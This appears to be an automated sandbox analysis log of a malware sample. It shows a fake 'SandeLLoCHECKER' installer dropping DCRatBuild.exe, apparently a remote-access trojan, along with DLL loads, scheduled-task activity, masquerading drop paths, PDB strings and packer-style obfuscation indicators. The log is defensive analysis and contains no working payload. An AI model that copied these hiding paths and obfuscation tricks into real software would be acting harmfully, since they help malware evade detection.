Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msihnd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: version.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Section loaded: windows.storage.dll

Source: C:\Users\user\Desktop\gorkmTnChA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Directory created: C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Directory created: C:\Program Files\Uninstall Information\98135c31e34d63	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Directory created: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Directory created: C:\Program Files\Windows NT\Accessories\en-GB\98135c31e34d63	Jump to behavior

Source: gorkmTnChA.exe

Static file information: File size 9843712 > 1048576

Source: gorkmTnChA.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x961200

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: gorkmTnChA.exe, DCRatBuild.exe.0.dr
Source:	Binary string: wininet.pdb source: SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732315055.000000000503A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\NetFXDev1\binaries\x86ret\bin\i386\VSSetup\Utils\boxstub.pdb source: gorkmTnChA.exe
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb\| source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.00000000062BA000.00000002.00000010.00040000.0000001B.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ShortcutFlags.pdb source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.00000000062BA000.00000002.00000010.00040000.0000001B.sdmp, ShortcutFlags.dll.3.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ShortcutFlags.pdb@ source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.00000000062BA000.00000002.00000010.00040000.0000001B.sdmp, ShortcutFlags.dll.3.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ResourceCleaner.pdb source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.00000000062BA000.00000002.00000010.00040000.0000001B.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.00000000062BA000.00000002.00000010.00040000.0000001B.sdmp
Source:	Binary string: wininet.pdbUGP source: SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732315055.000000000503A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.0000000006170000.00000002.00000010.00040000.0000001B.sdmp, MSI4DB5.tmp.7.dr, MSI44B9.tmp.3.dr, SandeLLoCHECKER_Installer.msi.3.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbl source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.0000000006170000.00000002.00000010.00040000.0000001B.sdmp, MSI4DB5.tmp.7.dr, MSI44B9.tmp.3.dr, SandeLLoCHECKER_Installer.msi.3.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\lzmaextractor.pdb source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.0000000006170000.00000002.00000010.00040000.0000001B.sdmp, lzmaextractor.dll.3.dr, SandeLLoCHECKER_Installer.msi.3.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.00000000062BA000.00000002.00000010.00040000.0000001B.sdmp, MSI4969.tmp.7.dr, MSI43FC.tmp.3.dr
Source:	Binary string: C:\ReleaseAI\win\Release\stubs\x86\ExternalUi.pdb source: gorkmTnChA.exe
Source:	Binary string: -C:\NetFXDev1\binaries\x86ret\bin\i386\VSSetup\Utils\boxstub.pdb source: gorkmTnChA.exe

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, N7ZmkdYkpvQgcoR6wdi.cs

.Net Code: Type.GetTypeFromHandle(VONH6ZRBck0LT59jToQ.XQJEphIDm9P(16777425)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(VONH6ZRBck0LT59jToQ.XQJEphIDm9P(16777246)),Type.GetTypeFromHandle(VONH6ZRBck0LT59jToQ.XQJEphIDm9P(16777260))})

Source: shi436E.tmp.3.dr

Static PE information: 0xC7FEC470 [Wed Apr 29 05:06:56 2076 UTC]

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe

Code function: 3_2_0084F620 RoGetActivationFactory,LoadLibraryW,GetProcAddress,RoGetActivationFactory,LoadLibraryW,GetProcAddress,RoGetActivationFactory,LoadLibraryW,GetProcAddress,FreeLibrary,

3_2_0084F620

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

File created: C:\bridgeMonitorDhcpCommon\__tmp_rar_sfx_access_check_4793781

Jump to behavior

Source: DCRatBuild.exe.0.dr	Static PE information: section name: .didat
Source: shi436E.tmp.3.dr	Static PE information: section name: .wpp_sf
Source: shi436E.tmp.3.dr	Static PE information: section name: .didat

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004AF640 push ecx; ret	1_2_004AF653
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004AEB78 push eax; ret	1_2_004AEB96
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3A88D push ebx; ret	3_3_00E3A89F
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3A88D push ebx; ret	3_3_00E3A89F
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB60 pushad ; retf	3_3_00E3CB61
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB60 pushad ; retf	3_3_00E3CB61
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB60 pushad ; retf	3_3_00E3CB61
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB60 pushad ; retf	3_3_00E3CB61
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF60 pushad ; iretd	3_3_00E3CF61
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF60 pushad ; iretd	3_3_00E3CF61
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF60 pushad ; iretd	3_3_00E3CF61
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF60 pushad ; iretd	3_3_00E3CF61
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB64 pushad ; retf	3_3_00E3CB65
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB64 pushad ; retf	3_3_00E3CB65
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB64 pushad ; retf	3_3_00E3CB65
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB64 pushad ; retf	3_3_00E3CB65
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF64 pushad ; iretd	3_3_00E3CF65
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF64 pushad ; iretd	3_3_00E3CF65
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF64 pushad ; iretd	3_3_00E3CF65
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF64 pushad ; iretd	3_3_00E3CF65
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF68 push 6800E3CFh; iretd	3_3_00E3CF6D
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF68 push 6800E3CFh; iretd	3_3_00E3CF6D
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF68 push 6800E3CFh; iretd	3_3_00E3CF6D
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CF68 push 6800E3CFh; iretd	3_3_00E3CF6D
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB68 push 6800E3CBh; retf	3_3_00E3CB6D
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB68 push 6800E3CBh; retf	3_3_00E3CB6D
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB68 push 6800E3CBh; retf	3_3_00E3CB6D
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_3_00E3CB68 push 6800E3CBh; retf	3_3_00E3CB6D
